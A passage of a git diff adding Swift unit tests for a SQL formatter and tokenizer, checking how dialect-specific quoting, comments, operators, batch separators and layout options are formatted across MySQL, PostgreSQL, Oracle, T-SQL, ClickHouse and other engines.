MySQL # comment ends at its line and the next condition stays code") + func hashCommentEndsAtLine() throws { + let sql = """ + select * from t where a = 1 # keep only a + and b = 2 + """ + try expectFormat( + sql, + options: options { $0.lineWidth = 80 }, + equals: """ + SELECT * + FROM t + WHERE a = 1 + # keep only a + AND b = 2 + """ + ) + } + + @Test("A dollar-quoted body is copied byte for byte") + func dollarQuotedBodyVerbatim() throws { + let sql = """ + CREATE FUNCTION f() RETURNS int AS $$ + if x: + return 1 + return 2 + $$ LANGUAGE plpython3u; + """ + try expectFormat( + sql, + dialect: .postgresql, + options: options { $0.keywordCase = .preserve }, + equals: sql + ) + } + + @Test("E'' keeps its prefix and a backslash in a plain PostgreSQL string ends nothing") + func escapeStringPrefix() throws { + try expectFormat( + #"select E'a\'b' as s, 'C:\', 'hello world' from t"#, + dialect: .postgresql, + equals: #""" + SELECT E'a\'b' AS s, + 'C:\', + 'hello world' + FROM t + """# + ) + } + + @Test("Oracle q-quoted literal stays whole") + func alternativeQuoting() throws { + try expectFormat( + "select q'[it's]' as s from dual", + dialect: .oracle, + equals: """ + SELECT q'[it's]' AS s + FROM dual + """ + ) + } + + @Test("A SQL*Plus slash line stays a line of its own") + func sqlPlusSlashLine() throws { + let sql = """ + create table t (a int) + / + select a / 2 from dual + """ + try expectFormat( + sql, + dialect: .oracle, + equals: """ + CREATE TABLE t ( + a int + ) + / + SELECT a / 2 + FROM dual + """ + ) + } + + @Test("A MySQL DELIMITER block keeps its delimiter lines and terminator") + func delimiterDirective() throws { + let sql = """ + DELIMITER // + create procedure p() begin select 1; end // + DELIMITER ; + select 2; + """ + try expectFormat( + sql, + equals: """ + DELIMITER // + CREATE procedure p() BEGIN + SELECT 1; + END // + DELIMITER ; + SELECT 2; + """ + ) + } + + @Test("PostgreSQL operators stay whole") + func postgresOperators() throws { + try expectFormat( + "select * from t where tags @> array['x'] and a <@ b and d ?| array['a'] and j #>> '{a}' = 'x' and s ~* 'x' and s !~ 'y' and v <=> '[1,2,3]' and p && q and make_interval(days => 10) > x", + dialect: .postgresql, + equals: """ + SELECT * + FROM t + WHERE tags @> array['x'] + AND a <@ b + AND d ?| array['a'] + AND j #>> '{a}' = 'x' + AND s ~* 'x' + AND s !~ 'y' + AND v <=> '[1,2,3]' + AND p && q + AND make_interval(days => 10) > x + """ + ) + } + + @Test("MySQL system variables, assignment and null-safe equality stay whole") + func mysqlOperators() throws { + try expectFormat( + "select @@version, @a := 1, a <=> b, c << 2 from t", + equals: """ + SELECT @@version, + @a := 1, + a <=> b, + c << 2 + FROM t + """ + ) + } + + @Test("A literal prefix stays on its literal") + func prefixedLiterals() throws { + try expectFormat( + "select 0xFF, flags & 0x04, N'abc', X'4D', B'101', _utf8mb4'a' from t", + equals: """ + SELECT 0xFF, + flags & 0x04, + N'abc', + X'4D', + B'101', + _utf8mb4'a' + FROM t + """ + ) + } + + @Test("An @ parameter whose name starts with a digit stays one word") + func atParametersKeepDigitLeadingNames() throws { + try expectFormat( + "select @1, @1ab from t where a = @1", + dialect: .sqlite, + equals: """ + SELECT @1, + @1ab + FROM t + WHERE a = @1 + """ + ) + } + + @Test("An alias written without AS keeps its spelling, and APPLY is a keyword only after CROSS or OUTER") + func implicitAliasesKeepTheirSpelling() throws { + try expectFormat("SELECT 1 apply ORDER BY apply", dialect: .clickhouse, equals: "SELECT 1 apply\nORDER BY apply") + try expectFormat( + "SELECT 1 rows, x date, y key FROM t FINAL WHERE a = 1", + dialect: .clickhouse, + equals: """ + SELECT 1 rows, + x date, + y key + FROM t FINAL + WHERE a = 1 + """ + ) + try expectFormat( + "select a.b key, c value, count(*) total from t first where x = 1 order by key desc", + equals: """ + SELECT a.b key, + c value, + count(*) total + FROM t first + WHERE x = 1 + ORDER BY key DESC + """ + ) + try expectFormat( + "select x date from t date", + options: options { $0.dataTypeCase = .upper }, + equals: "SELECT x date\nFROM t date" + ) + try expectFormat( + "select * from a cross apply f(a.id) x outer apply g(a.id) y", + dialect: .mssql, + equals: """ + SELECT * + FROM a + CROSS APPLY f(a.id) x + OUTER APPLY g(a.id) y + """ + ) + } + + @Test("A table named like a keyword keeps its spelling before its alias") + func tableNamedLikeAKeywordBeforeItsAlias() throws { + try expectFormat( + "select * from apply a join apply b on a.id = b.id; update apply x set y = 1; insert into apply values (1)", + equals: """ + SELECT * + FROM apply a + JOIN apply b + ON a.id = b.id; + UPDATE apply x + SET y = 1; + INSERT INTO apply + VALUES (1) + """ + ) + try expectFormat( + "select * from only t x; select * from t join lateral f(t.id) z on true", + dialect: .postgresql, + equals: """ + SELECT * + FROM ONLY t x; + SELECT * + FROM t + JOIN LATERAL f(t.id) z + ON TRUE + """ + ) + } + + @Test("The word after a T-SQL variable is a type only where the variable is declared") + func variableTypesOnlyInDeclarations() throws { + let upper = options { $0.dataTypeCase = .upper } + try expectFormat( + "SELECT date.id FROM @rows date; SELECT @x date; SELECT @x AS date", + dialect: .mssql, + options: upper, + equals: """ + SELECT date.id + FROM @rows date; + SELECT @x date; + SELECT @x AS date + """ + ) + try expectFormat( + "DECLARE @a int, @b date; DECLARE @c AS varchar(10) = 'x'", + dialect: .mssql, + options: upper, + equals: "DECLARE @a INT, @b DATE;\nDECLARE @c AS VARCHAR(10) = 'x'" + ) + try expectFormat( + "CREATE PROCEDURE p @a int, @b date = NULL AS SELECT @a date", + dialect: .mssql, + options: upper, + equals: "CREATE PROCEDURE p @a INT, @b DATE = NULL AS\nSELECT @a date" + ) + try expectFormat( + "DECLARE @t TABLE (id int, d date); SELECT d date FROM @t", + dialect: .mssql, + options: upper, + equals: "DECLARE @t TABLE (id INT, d DATE);\nSELECT d date\nFROM @t" + ) + } + + @Test("A quoted column name declares its type like a plain one") + func quotedColumnNamesTakeTypeCase() throws { + let upper = options { $0.dataTypeCase = .upper } + try expectFormat( + #"CREATE TABLE t ("id" integer, "Name" text); ALTER TABLE t ADD COLUMN "d" date, ALTER COLUMN "e" TYPE text"#, + dialect: .postgresql, + options: upper, + equals: #""" + CREATE TABLE t ( + "id" INTEGER, + "Name" TEXT + ); + ALTER TABLE t ADD COLUMN "d" DATE, ALTER COLUMN "e" TYPE TEXT + """# + ) + try expectFormat( + #"CREATE FUNCTION f("a" integer, b text) RETURNS integer AS $$ select 1 $$ LANGUAGE sql"#, + dialect: .postgresql, + options: options { + $0.dataTypeCase = .upper + $0.keywordCase = .preserve + }, + equals: #"CREATE FUNCTION f("a" INTEGER, b TEXT) RETURNS INTEGER AS $$ select 1 $$ LANGUAGE sql"# + ) + try expectFormat( + "CREATE TABLE t ([id] int, [d] date); ALTER TABLE t ADD [x] int; ALTER TABLE t ALTER COLUMN [y] date; " + + "DECLARE @t TABLE ([a] int)", + dialect: .mssql, + options: upper, + equals: """ + CREATE TABLE t ( + [id] INT, + [d] DATE + ); + ALTER TABLE t ADD [x] INT; + ALTER TABLE t ALTER COLUMN [y] DATE; + DECLARE @t TABLE ([a] INT) + """ + ) + try expectFormat( + "CREATE TABLE t (`id` int, `d` date); ALTER TABLE t ADD `x` int, MODIFY COLUMN `y` datetime, MODIFY `z` text", + options: upper, + equals: """ + CREATE TABLE t ( + `id` INT, + `d` DATE + ); + ALTER TABLE t ADD `x` INT, MODIFY COLUMN `y` DATETIME, MODIFY `z` TEXT + """ + ) + try expectFormat( + #"select "date", date from t where "d" = 1"#, + dialect: .postgresql, + options: upper, + equals: #"SELECT "date",\#n date\#nFROM t\#nWHERE "d" = 1"# + ) + } + + @Test("A multi-word type takes the data type case as one type") + func multiWordTypesTakeOneCase() throws { + try expectFormat( + "select x::CHARACTER VARYING(20), y::TIMESTAMP WITH TIME ZONE, z::DOUBLE PRECISION, w::BIT VARYING(3) from t", + dialect: .postgresql, + options: options { $0.dataTypeCase = .lower }, + equals: """ + SELECT x :: character varying(20), + y :: timestamp with time zone, + z :: double precision, + w :: bit varying(3) + FROM t + """ + ) + try expectFormat( + "create table t (a double precision, b timestamp without time zone, c character varying(10))", + dialect: .postgresql, + options: options { $0.dataTypeCase = .upper }, + equals: """ + CREATE TABLE t ( + a DOUBLE PRECISION, + b TIMESTAMP WITHOUT TIME ZONE, + c CHARACTER VARYING(10) + ) + """ + ) + } + + @Test("A custom delimiter glued to the word before it still ends the statement") + func customDelimiterEndsAGluedWord() throws { + let procedure = """ + DELIMITER $$ + CREATE PROCEDURE p() + BEGIN + SELECT 1; + END$$ + DELIMITER ; + SELECT 2; + """ + try expectFormat( + procedure, + equals: """ + DELIMITER $$ + CREATE PROCEDURE p() BEGIN + SELECT 1; + END $$ + DELIMITER ; + SELECT 2; + """ + ) + try expectFormat( + "DELIMITER $$\nCREATE FUNCTION f() RETURNS INT DETERMINISTIC\nRETURN 1$$\nDELIMITER ;\nSELECT f();", + equals: """ + DELIMITER $$ + CREATE FUNCTION f() RETURNS INT DETERMINISTIC RETURN 1 $$ + DELIMITER ; + SELECT f(); + """ + ) + } + + @Test("Operators no dialect declares stay whole") + func undeclaredOperatorsStayWhole() throws { + try expectFormat( + "SET @x += 1; SET @x -= 1; SET @x *= 2; SET @x /= 2; SET @x %= 2; SET @x &= 1; SET @x |= 1; SET @x ^= 1", + dialect: .mssql, + equals: """ + SET @x += 1; + SET @x -= 1; + SET @x *= 2; + SET @x /= 2; + SET @x %= 2; + SET @x &= 1; + SET @x |= 1; + SET @x ^= 1 + """ + ) + for dialect in [DatabaseType.sqlite, .clickhouse] { + try expectFormat("select * from t where a == b", dialect: dialect, equals: "SELECT *\nFROM t\nWHERE a == b") + } + try expectFormat( + "select * from t where a ^= b and y ** 2 > 1 and c ~= d", + dialect: .oracle, + equals: """ + SELECT * + FROM t + WHERE a ^= b + AND y ** 2 > 1 + AND c ~= d + """ + ) + try expectFormat("select 7 // 2, 2 ** 3", dialect: .duckdb, equals: "SELECT 7 // 2,\n 2 ** 3") + } + + @Test("A T-SQL name keeps a # or @ after its first character") + func tsqlNamesKeepHashAndAt() throws { + try expectFormat( + "SELECT Part# FROM Parts; SELECT a#b, c@d FROM t WHERE @v@x = 1", + dialect: .mssql, + equals: """ + SELECT Part# + FROM Parts; + SELECT a#b, + c@d + FROM t + WHERE @v@x = 1 + """ + ) + } + + @Test("Two string literals continued across a line break keep the break", arguments: [DatabaseType.postgresql, .duckdb]) + func stringContinuationKeepsItsLineBreak(dialect: DatabaseType) throws { + try expectFormat( + "select 'foo'\n'bar' as s, 'x' from t", + dialect: dialect, + equals: """ + SELECT 'foo' + 'bar' AS s, + 'x' + FROM t + """ + ) + } + + @Test("A keyword-named column before an operator or a subscript keeps its spelling") + func keywordNamedColumnBeforeOperator() throws { + try expectFormat( + "SELECT table, rows + marks, key[1], rows::String, bytes - 1, bytes * 2 FROM system.parts", + dialect: .clickhouse, + equals: """ + SELECT table, + rows + marks, + key[1], + rows :: String, + bytes - 1, + bytes * 2 + FROM system.parts + """ + ) + try expectFormat( + "select distinct * from t; select array[1, 2], tags[1] from t", + dialect: .postgresql, + equals: """ + SELECT DISTINCT * + FROM t; + SELECT array[1, 2], + tags[1] + FROM t + """ + ) + } + + @Test("A word written against a quote stays against it, whether or not it introduces the literal") + func wordAgainstQuoteStaysAgainstIt() throws { + try expectFormat( + "select r'abc', b'0101', a'alias' from t", + equals: """ + SELECT r'abc', + b'0101', + a'alias' + FROM t + """ + ) + } + + @Test("U& and E prefixes stay on their literals") + func unicodeEscapeLiteral() throws { + try expectFormat( + #"select U&'d\0061t' as u, E'x' from t"#, + dialect: .postgresql, + equals: #""" + SELECT U&'d\0061t' AS u, + E'x' + FROM t + """# + ) + } + + @Test("OUTER APPLY and CROSS APPLY start their own lines and keep OUTER") + func outerApply() throws { + try expectFormat( + "select * from a outer apply f(a.id) x cross apply g(a.id) y", + dialect: .mssql, + equals: """ + SELECT * + FROM a + OUTER APPLY f(a.id) x + CROSS APPLY g(a.id) y + """ + ) + } + + @Test("A CREATE VIEW's calls keep their parens") + func createViewCallsKeepParens() throws { + try expectFormat( + "create view v as select id, count(*) as n from t group by id", + equals: """ + CREATE VIEW v AS + SELECT id, + count(*) AS n + FROM t + GROUP BY id + """ + ) + } + + @Test("CREATE TABLE AS SELECT has no column list") + func createTableAsSelect() throws { + try expectFormat( + "create table t2 as select now() as ts", + equals: """ + CREATE TABLE t2 AS + SELECT now() AS ts + """ + ) + } + + @Test("As written keeps the spelling of every word of a multi-word keyword") + func preserveKeepsEveryWord() throws { + try expectFormat( + "select a from t Left Outer Join u on t.id = u.id order By a union All select b from s; Insert Into t values (1)", + options: options { $0.keywordCase = .preserve }, + equals: """ + select a + from t + Left Outer Join u + on t.id = u.id + order By a + + union All + + select b + from s; + Insert Into t + values (1) + """ + ) + } + + @Test("ClickHouse columns named like keywords keep their case") + func clickHouseKeywordColumns() throws { + try expectFormat( + "SELECT database, table, name, type, default_kind FROM system.columns WHERE database = 'default' AND table = 'hits'", + dialect: .clickhouse, + equals: """ + SELECT database, + table, + name, + type, + default_kind + FROM system.columns + WHERE database = 'default' + AND table = 'hits' + """ + ) + } + + @Test("A keyword standing where a name stands keeps its spelling") + func keywordNamedColumns() throws { + try expectFormat( + "select key, value, first, last from kv order by key desc", + dialect: .clickhouse, + equals: """ + SELECT key, + value, + first, + last + FROM kv + ORDER BY key DESC + """ + ) + } + + @Test("A ClickHouse column list keeps keyword-named columns and type names") + func clickHouseColumnList() throws { + try expectFormat( + "CREATE TABLE kv (key String, value String) ENGINE = MergeTree ORDER BY key", + dialect: .clickhouse, + options: options { $0.dataTypeCase = .upper }, + equals: """ + CREATE TABLE kv ( + key String, + value String + ) ENGINE = MergeTree + ORDER BY key + """ + ) + } + + @Test("A nested CASE lines up under the line it starts on") + func nestedCase() throws { + try expectFormat( + "select case when a = 1 then case when b = 2 then 'x' else 'y' end else 'w' end as v from t", + equals: """ + SELECT CASE + WHEN a = 1 THEN CASE + WHEN b = 2 THEN 'x' + ELSE 'y' + END + ELSE 'w' + END AS v + FROM t + """ + ) + } + + @Test("A subquery in a SELECT item sits under its column") + func subqueryInSelectItem() throws { + try expectFormat( + "select id, (select max(o.total) from orders o where o.user_id = u.id) as top_order, name from users u", + equals: """ + SELECT id, + ( + SELECT max(o.total) + FROM orders o + WHERE o.user_id = u.id + ) AS top_order, + name + FROM users u + """ + ) + } + + @Test("A subquery on an AND line sits under that line") + func subqueryOnAndLine() throws { + try expectFormat( + "select * from t where a = 1 and exists (select 1 from u where u.id = t.id)", + equals: """ + SELECT * + FROM t + WHERE a = 1 + AND EXISTS ( + SELECT 1 + FROM u + WHERE u.id = t.id + ) + """ + ) + } + + @Test("A CASE in a SET item lines up with its item") + func caseInSetItem() throws { + try expectFormat( + "update t set a = 1, b = case when c then 2 else 3 end where id = 1", + equals: """ + UPDATE t + SET a = 1, + b = CASE + WHEN c THEN 2 + ELSE 3 + END + WHERE id = 1 + """ + ) + } + + @Test("HAVING breaks its conditions whether or not a WHERE came first") + func havingIsAConditionList() throws { + try expectFormat( + "select a from t group by a having count(*) > 1 and sum(b) > 2", + equals: """ + SELECT a + FROM t + GROUP BY a + HAVING count(*) > 1 + AND sum(b) > 2 + """ + ) + } + + @Test("A paren after a comma keeps its space") + func valuesRowsKeepTheirSpace() throws { + try expectFormat( + "insert into t (a, b) values (1, 'x'),(2, 'y'); select concat(a,(b + c)) from t where x in ((1, 2),(3, 4))", + equals: """ + INSERT INTO t (a, b) + VALUES (1, 'x'), (2, 'y'); + SELECT concat(a, (b + c)) + FROM t + WHERE x IN ((1, 2), (3, 4)) + """ + ) + } + + @Test("END of a BEGIN block adds no blank line") + func endOfBlockIsIdempotent() throws { + try expectFormat( + "create procedure p() begin select 1; end", + equals: """ + CREATE procedure p() BEGIN + SELECT 1; + END + """ + ) + } + + @Test("IS DISTINCT FROM stays inline") + func isDistinctFromStaysInline() throws { + try expectFormat( + "select * from t where a is distinct from b", + dialect: .postgresql, + equals: """ + SELECT * + FROM t + WHERE a IS DISTINCT FROM b + """ + ) + } + + @Test("A line comment in a CRLF document ends at its line") + func crlfLineComment() throws { + let sql = """ + select a from t -- note + where x = 1 and y = 2 + """ + try expectFormat( + sql.replacingOccurrences(of: "\n", with: "\r\n"), + equals: """ + SELECT a + FROM t + -- note + WHERE x = 1 + AND y = 2 + """ + ) + } + + @Test("Clause items below the keyword") + func clauseItemsBelow() throws { + try expectFormat( + "select u.id as user_id, u.name as user_name, count(o.id) as order_count from users u left join orders o on u.id = o.user_id where u.status = 'active' and o.created_at >= '2026-01-01' group by u.id, u.name", + options: options { $0.clauseItems = .newLine }, + equals: """ + SELECT + u.id AS user_id, + u.name AS user_name, + count(o.id) AS order_count + FROM users u + LEFT JOIN orders o + ON u.id = o.user_id + WHERE + u.status = 'active' + AND o.created_at >= '2026-01-01' + GROUP BY u.id, u.name + """ + ) + } + + @Test("A WITH list below the keyword") + func clauseItemsBelowWith() throws { + try expectFormat( + "with a as (select 1 as x), b as (select x from a) select x from b", + options: options { $0.clauseItems = .newLine }, + equals: """ + WITH + a AS ( + SELECT 1 AS x + ), + b AS ( + SELECT x + FROM a + ) + SELECT x + FROM b + """ + ) + } + + @Test("A single item stays beside its keyword") + func clauseItemsBelowSingle() throws { + try expectFormat( + "select * from t where a = 1", + options: options { $0.clauseItems = .newLine }, + equals: """ + SELECT * + FROM t + WHERE a = 1 + """ + ) + } + + @Test("A SET list below the keyword with leading commas") + func clauseItemsBelowSet() throws { + try expectFormat( + "update users set name = 'a', email = 'b' where id = 1", + options: options { + $0.clauseItems = .newLine + $0.commaPosition = .leading + }, + equals: """ + UPDATE users + SET + name = 'a' + , email = 'b' + WHERE id = 1 + """ + ) + } + + @Test("AND at the end of the line") + func logicalOperatorAfter() throws { + try expectFormat( + "select * from u where u.status = 'active' and o.created_at >= '2026-01-01'", + options: options { $0.logicalOperatorNewline = .after }, + equals: """ + SELECT * + FROM u + WHERE u.status = 'active' AND + o.created_at >= '2026-01-01' + """ + ) + } + + @Test("AND at the end of the line with items below") + func logicalOperatorAfterBelow() throws { + try expectFormat( + "select * from t where a = 1 and b = 2", + options: options { + $0.clauseItems = .newLine + $0.logicalOperatorNewline = .after + }, + equals: """ + SELECT * + FROM t + WHERE + a = 1 AND + b = 2 + """ + ) + } + + @Test("AND at the end of a HAVING line") + func logicalOperatorAfterHaving() throws { + try expectFormat( + "select a from t group by a having count(*) > 1 or sum(b) > 2", + options: options { $0.logicalOperatorNewline = .after }, + equals: """ + SELECT a + FROM t + GROUP BY a + HAVING count(*) > 1 OR + sum(b) > 2 + """ + ) + } + + @Test("Data type case rewrites types and leaves names spelled like types") + func dataTypeCaseUpper() throws { + try expectFormat( + "create table t (id int primary key, date date, name varchar(255)); select date from t where date > now()", + dialect: .postgresql, + options: options { $0.dataTypeCase = .upper }, + equals: """ + CREATE TABLE t ( + id INT PRIMARY KEY, + date DATE, + name VARCHAR(255) + ); + SELECT date + FROM t + WHERE date > now() + """ + ) + } + + @Test("Data type case lower") + func dataTypeCaseLower() throws { + try expectFormat( + "SELECT CAST(x AS DECIMAL(10, 2)) AS d, CAST(y AS DATE) FROM t", + options: options { $0.dataTypeCase = .lower }, + equals: """ + SELECT CAST(x AS decimal(10, 2)) AS d, + CAST(y AS date) + FROM t + """ + ) + } + + @Test("Data type case leaves types alone where the engine matches them by exact case") + func dataTypeCaseCaseSensitiveEngine() throws { + try expectFormat( + "SELECT CAST(x AS String), toString(y) FROM t", + dialect: .clickhouse, + options: options { $0.dataTypeCase = .upper }, + equals: """ + SELECT CAST(x AS String), + toString(y) + FROM t + """ + ) + } + + @Test("Data type case leaves a column spelled like a type alone") + func dataTypeCaseLeavesColumnsSpelledLikeTypes() throws { + try expectFormat( + "SELECT date + 1, date - interval '1 day', x::date, date FROM t " + + "WHERE date = '2020-01-01' ORDER BY date", + dialect: .postgresql, + options: options { + $0.dataTypeCase = .upper + $0.keywordCase = .preserve + }, + equals: """ + SELECT date + 1, + date - interval '1 day', + x :: DATE, + date + FROM t + WHERE date = '2020-01-01' + ORDER BY date + """ + ) + try expectFormat( + "select date, text from t group by date having max(date) > 1", + options: options { $0.dataTypeCase = .upper }, + equals: """ + SELECT date, + text + FROM t + GROUP BY date + HAVING max(date) > 1 + """ + ) + } + + @Test("Data type case rewrites routine parameters, RETURNS and ALTER TABLE column types") + func dataTypeCaseInDeclarations() throws { + try expectFormat( + "CREATE FUNCTION f(date date, b integer, OUT c text) RETURNS SETOF integer AS $$ select 1 $$ LANGUAGE sql; " + + "DROP FUNCTION f(integer, text)", + dialect: .postgresql, + options: options { + $0.dataTypeCase = .upper + $0.keywordCase = .preserve + }, + equals: """ + CREATE FUNCTION f(date DATE, b INTEGER, OUT c TEXT) RETURNS SETOF INTEGER AS $$ select 1 $$ LANGUAGE sql; + DROP FUNCTION f(integer, text) + """ + ) + try expectFormat( + "alter table t modify column d datetime, add e int, add date date", + options: options { $0.dataTypeCase = .upper }, + equals: "ALTER TABLE t MODIFY COLUMN d DATETIME, ADD e INT, ADD date DATE" + ) + } + + @Test("A column named go left alone by a leading comma stays off a line of its own") + func noManufacturedBatchSeparator() throws { + try expectFormat( + "select go, x from t", + dialect: .mssql, + options: options { + $0.clauseItems = .newLine + $0.commaPosition = .leading + }, + equals: """ + SELECT go + , x + FROM t + """ + ) + } + + @Test("A statement starting with a column named delimiter stays off a line of its own") + func noManufacturedDelimiterDirective() throws { + try expectFormat( + "select delimiter as d, x from t; delimiter as e", + options: options { $0.clauseItems = .newLine }, + equals: """ + SELECT + delimiter AS d, + x + FROM t; delimiter AS e + """ + ) + } + + @Test("A division operator stays off a line of its own under SQL*Plus rules") + func noManufacturedSlashLine() throws { + try expectFormat( + "select a\n/* x */ / -- y\n2 from dual", + dialect: .oracle, + equals: """ + SELECT a + /* x */ / + -- y + 2 + FROM dual + """ + ) + } + + // The quadratic count took 24 s optimized and minutes in a debug build; linear takes under 2 s in a debug build, so + // the bound leaves room for a slow CI runner. + @Test("A script of 20,000 GO batches formats in linear time") + func manyBatchesFormatInLinearTime() throws { + let script = (0..<20_000).map { "SELECT \($0)\nGO\n" }.joined() + var formatted = "" + let elapsed = try ContinuousClock().measure { + formatted = try formatter.format(script, dialect: .mssql).formattedSQL + } + #expect(formatted.components(separatedBy: "\n").filter { $0 == "GO" }.count == 20_000) + #expect(elapsed < .seconds(30)) + } + + @Test( + "Formatting keeps every statement and batch boundary under every layout", + arguments: [ + (DatabaseType.mssql, "select go, x from t"), + (DatabaseType.mssql, "select x, go from t where go = 1 and y = 2"), + (DatabaseType.mssql, "select a, -- c\ngo from t"), + (DatabaseType.mssql, "select go, x from t\nGO\nselect y, go from u"), + (DatabaseType.mssql, "select * from t where go and x = 1"), + (DatabaseType.mysql, "select delimiter as d, x from t; delimiter as e"), + (DatabaseType.mysql, "select x from t; delimiter, y from u"), + (DatabaseType.oracle, "select a\n/* x */ / -- y\n2 from dual"), + (DatabaseType.oracle, "select a / b, c from t where d / 2 > 1"), + ] + ) + func keepsStatementBoundaries(dialect: DatabaseType, sql: String) throws { + let grammar = dialect.lexicalGrammar + func directives(_ text: String) -> Int { + SQLTokenizer().tokenize(text, grammar: grammar).filter { $0.type == .directive }.count + } + for clauseItems in SQLFormatterClauseItems.allCases { + for commaPosition in SQLFormatterCommaPosition.allCases { + for logicalOperatorNewline in SQLFormatterLogicalOperatorNewline.allCases { + let layout = options { + $0.clauseItems = clauseItems + $0.commaPosition = commaPosition + $0.logicalOperatorNewline = logicalOperatorNewline + } + let formatted = try formatter.format(sql, dialect: dialect, options: layout).formattedSQL + #expect( + SQLStatementScanner.executableStatements(in: formatted, grammar: grammar).count + == SQLStatementScanner.executableStatements(in: sql, grammar: grammar).count + ) + #expect( + SQLStatementScanner.batchSeparators(in: formatted, grammar: grammar).count + == SQLStatementScanner.batchSeparators(in: sql, grammar: grammar).count + ) + #expect(directives(formatted) == directives(sql)) + #expect(try formatter.format(formatted, dialect: dialect, options: layout).formattedSQL == formatted) + } + } + } + } + // MARK: - Idempotency Under Options @Test( @@ -1010,11 +2220,16 @@ struct SQLFormatterServiceTests { SQLFormatterOptions(indentStyle: .tabs, commaPosition: .leading, alignAliases: true), SQLFormatterOptions(indentWidth: 4, keywordCase: .lower, functionCase: .upper, lineWidth: 60), SQLFormatterOptions(lineWidth: 120, joinCondition: .sameLine, alignAliases: true), + SQLFormatterOptions(clauseItems: .newLine, logicalOperatorNewline: .after), + SQLFormatterOptions(commaPosition: .leading, alignAliases: true, clauseItems: .newLine, dataTypeCase: .upper), + SQLFormatterOptions(keywordCase: .preserve, lineWidth: 40, logicalOperatorNewline: .after, dataTypeCase: .lower), ] ) func idempotentUnderOptions(_ options: SQLFormatterOptions) throws { - let sql = "select u.id as user_id, count(o.id) as n from users u left join orders o on u.id = o.user_id " - + "where u.status = 'active' and o.total > 10 group by u.id order by n desc" + let sql = "select u.id as user_id, count(o.id) as n, row_number() over (order by u.id) as rn, " + + "cast(o.total as decimal(10, 2)) as total from users u left join orders o on u.id = o.user_id " + + "where u.status = 'active' and o.total > 10 and exists (select 1 from r where r.id = u.id) " + + "group by u.id having count(*) > 1 and sum(o.total) > 2 order by n desc" let first = try format(sql, options: options) #expect(try format(first, options: options) == first) } diff --git a/apple/TableProTests/Core/Services/SQLTokenizerTests.swift b/apple/TableProTests/Core/Services/SQLTokenizerTests.swift index d172160f3b..0151f5f2ed 100644 --- a/apple/TableProTests/Core/Services/SQLTokenizerTests.swift +++ b/apple/TableProTests/Core/Services/SQLTokenizerTests.swift @@ -2,8 +2,6 @@ // SQLTokenizerTests.swift // TableProTests // -// Tests for SQLTokenizer — character-by-character SQL lexer. -// import Foundation import TableProPluginKit @@ -263,4 +261,229 @@ struct SQLTokenizerTests { #expect(nonWS[0].value == "select") // preserves original case #expect(nonWS[1].value == "'Hello World'") } + + // MARK: - Engine grammar + + private func code(_ sql: String, _ type: DatabaseType, operators: Set = []) -> [SQLToken] { + SQLTokenizer(operators: operators).tokenize(sql, grammar: type.lexicalGrammar).filter { $0.type != .whitespace } + } + + @Test("A bracket name is one identifier under SQL Server's grammar") + func bracketIdentifier() { + #expect(code("select [order id] from [my table]", .mssql).map(\.value) == ["select", "[order id]", "from", "[my table]"]) + #expect(code("[select]", .mssql) == [SQLToken(type: .identifier, value: "[select]")]) + } + + @Test("Without a grammar a bracket stays apart, as the query fingerprint reads it") + func bracketWithoutGrammar() { + #expect(tokenizer.tokenize("[users]").map(\.value) == ["[", "users", "]"]) + } + + @Test("A dollar-quoted body is one string") + func dollarQuotedBody() { + let body = "$$\nif x:\n return 1\n$$" + #expect(code("as \(body) language plpython3u", .postgresql).map(\.value) == ["as", body, "language", "plpython3u"]) + } + + @Test("A GO line is a directive") + func batchSeparatorDirective() { + let tokens = code("select 1\nGO\nselect 2", .mssql) + #expect(tokens.map(\.value) == ["select", "1", "GO", "select", "2"]) + #expect(tokens[2].type == .directive) + } + + @Test("A DELIMITER line is a directive and its delimiter ends a statement") + func delimiterDirective() { + let tokens = code("DELIMITER //\nselect 1; end //\nDELIMITER ;", .mysql) + #expect(tokens.map(\.value) == ["DELIMITER //", "select", "1", ";", "end", "//", "DELIMITER ;"]) + #expect(tokens.map(\.type) == [.directive, .keyword, .number, .punctuation, .keyword, .punctuation, .directive]) + } + + @Test("DELIMITER is a directive only where a statement starts") + func delimiterOnlyAtStatementStart() { + #expect(code("select\ndelimiter as d from t", .mysql).allSatisfy { $0.type != .directive }) + #expect(code("select 1;\ndelimiter $$", .mysql).last?.type == .directive) + } + + @Test("A MySQL # comment runs to the end of its line") + func hashComment() { + #expect(code("a # b and\nc", .mysql).map(\.value) == ["a", "# b and", "c"]) + } + + @Test("A line comment in a CRLF text ends at its line") + func crlfLineComment() { + #expect(code("a -- note\r\nb", .mysql).map(\.value) == ["a", "-- note", "b"]) + } + + @Test("Operators the dialect declares stay whole, and T-SQL's <@ is less than a variable") + func dialectOperators() { + #expect(code("a@>b and c#>>d", .postgresql, operators: ["@>", "#>>"]).map(\.value) == ["a", "@>", "b", "and", "c", "#>>", "d"]) + #expect(code("a<@b", .mssql).map(\.value) == ["a", "<", "@b"]) + #expect(code("a <=> b, @x := 1", .mysql).map(\.value) == ["a", "<=>", "b", ",", "@x", ":=", "1"]) + } + + @Test("A literal prefix stays on its literal") + func prefixedLiterals() { + let tokens = code("0xFF N'abc' X'4D' _utf8mb4'a' 2fa_codes", .mysql) + #expect(tokens.map(\.value) == ["0xFF", "N'abc'", "X'4D'", "_utf8mb4'a'", "2fa_codes"]) + #expect(tokens.map(\.type) == [.number, .string, .string, .string, .identifier]) + } + + @Test("Without a grammar a word before a quote stays a word, so the fingerprint keeps the column") + func wordBeforeQuoteWithoutGrammar() { + for word in ["a", "b", "N"] { + let tokens = tokenizer.tokenize("SELECT \(word)'alias' FROM t").filter { $0.type != .whitespace } + #expect(tokens.map(\.value) == ["SELECT", word, "'alias'", "FROM", "t"]) + #expect(tokens[1].type == .identifier) + } + for type in [DatabaseType.sqlite, .mysql] { + #expect( + SQLQueryFingerprint.hash("SELECT a'alias' FROM t", databaseType: type) + != SQLQueryFingerprint.hash("SELECT b'alias' FROM t", databaseType: type) + ) + #expect(SQLQueryFingerprint.normalize("SELECT a'alias' FROM t", databaseType: type) == "SELECT a ? FROM t") + } + } + + @Test("Under a grammar only a literal introducer joins its quote") + func onlyIntroducersJoinTheirQuote() { + #expect(code("a'alias' r'raw' b'0101'", .mysql).map(\.value) == ["a", "'alias'", "r", "'raw'", "b'0101'"]) + } + + @Test("An @ parameter may start with a digit") + func atParameterWithLeadingDigit() { + let tokens = code("@1 @1ab @@x", .sqlite) + #expect(tokens.map(\.value) == ["@1", "@1ab", "@@x"]) + #expect(tokens.allSatisfy { $0.type == .placeholder }) + } + + @Test("A custom delimiter splits the word it is glued to") + func delimiterSplitsAGluedWord() { + 